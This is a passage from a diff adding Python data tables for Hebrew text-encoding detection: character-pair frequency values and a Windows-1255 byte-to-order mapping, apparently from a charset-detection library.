# 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 1, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 1, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 13: { # 'ע' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 1, # 'ֱ' + 41: 2, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 1, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 2, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 26: { # 'ף' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 1, # 'ס' + 13: 0, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 18: { # 'פ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 2, # 'ֶ' + 31: 1, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 2, # 'ב' + 20: 3, # 'ג' + 16: 2, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 2, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 27: { # 'ץ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 1, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 0, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 21: { # 'צ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 1, # 'ז' + 14: 3, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 1, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 1, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 0, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 17: { # 'ק' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 1, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 2, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 7: { # 'ר' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 2, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 1, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 3, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 10: { # 'ש' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 1, # 'ִ' + 37: 1, # 'ֵ' + 36: 1, # 'ֶ' + 31: 1, # 'ַ' + 29: 1, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 3, # 'ׁ' + 45: 2, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 5: { # 'ת' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 1, # '¼' + 39: 1, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 2, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 32: { # '–' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 1, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 52: { # '’' + 50: 1, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 1, # 'r' + 43: 2, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 47: { # '“' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 46: { # '”' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 58: { # '†' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 2, # '†' + 40: 0, # '…' + }, + 40: { # '…' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 0, # 'l' + 54: 1, # 'n' + 49: 0, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +WINDOWS_1255_HEBREW_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 69, # 'A' + 66: 91, # 'B' + 67: 79, # 'C' + 68: 80, # 'D' + 69: 92, # 'E' + 70: 89, # 'F' + 71: 97, # 'G' + 72: 90, # 'H' + 73: 68, # 'I' + 74: 111, # 'J' + 75: 112, # 'K' + 76: 82, # 'L' + 77: 73, # 'M' + 78: 95, # 'N' + 79: 85, # 'O' + 80: 78, # 'P' + 81: 121, # 'Q' + 82: 86, # 'R' + 83: 71, # 'S' + 84: 67, # 'T' + 85: 102, # 'U' + 86: 107, # 'V' + 87: 84, # 'W' + 88: 114, # 'X' + 89: 103, # 'Y' + 90: 115, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 50, # 'a' + 98: 74, # 'b' + 99: 60, # 'c' + 100: 61, # 'd' + 101: 42, # 'e' + 102: 76, # 'f' + 103: 70, # 'g' + 104: 64, # 'h' + 105: 53, # 'i' + 106: 105, # 'j' + 107: 93, # 'k' + 108: 56, # 'l' + 109: 65, # 'm' + 110: 54, # 'n' + 111: 49, # 'o' + 112: 66, # 'p' + 113: 110, # 'q' + 114: 51, # 'r' + 115: 43, # 's' + 116: 44, # 't' + 117: 63, # 'u' + 118: 81, # 'v' + 119: 77, # 'w' + 120: 98, # 'x' + 121: 75, # 'y' + 122: 108, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 124, # '€' + 129: 202, # None + 130: 203, # '‚' + 131: 204, # 'ƒ' + 132: 205, # '„' + 133: 40, # '…' + 134: 58, # '†' + 135: 206, # '‡' + 136: 207, # 'ˆ' + 137: 208, # '‰' + 138: 209, # None + 139: 210, # '‹' + 140: 211, # None + 141: 212, # None + 142: 213, # None + 143: 214, # None + 144: 215, # None + 145: 83, # '‘' + 146: 52, # '’' + 147: 47, # '“' + 148: 46, # '”' + 149: 72, # '•' + 150: 32, # '–' + 151: 94, # '—' + 152: 216, # '˜' + 153: 113, # '™' + 154: 217, # None + 155: 109, # '›' + 156: 218, # None + 157: 219, # None + 158: 220, # None + 159: 221, # None + 160: 34, # '\xa0' + 161: 116, # '¡' + 162: 222, # '¢' + 163: 118, # '£' + 164: 100, # '₪' + 165: 223, # '¥' + 166: 224, # '¦' + 167: 117, # '§' + 168: 119, # '¨' + 169: 104, # '©' + 170: 125, # '×' + 171: 225, # '«' + 172: 226, # '¬' + 173: 87, # '\xad' + 174: 99, # '®' + 175: 227, # '¯' + 176: 106, # '°' + 177: 122, # '±' + 178: 123, # '²' + 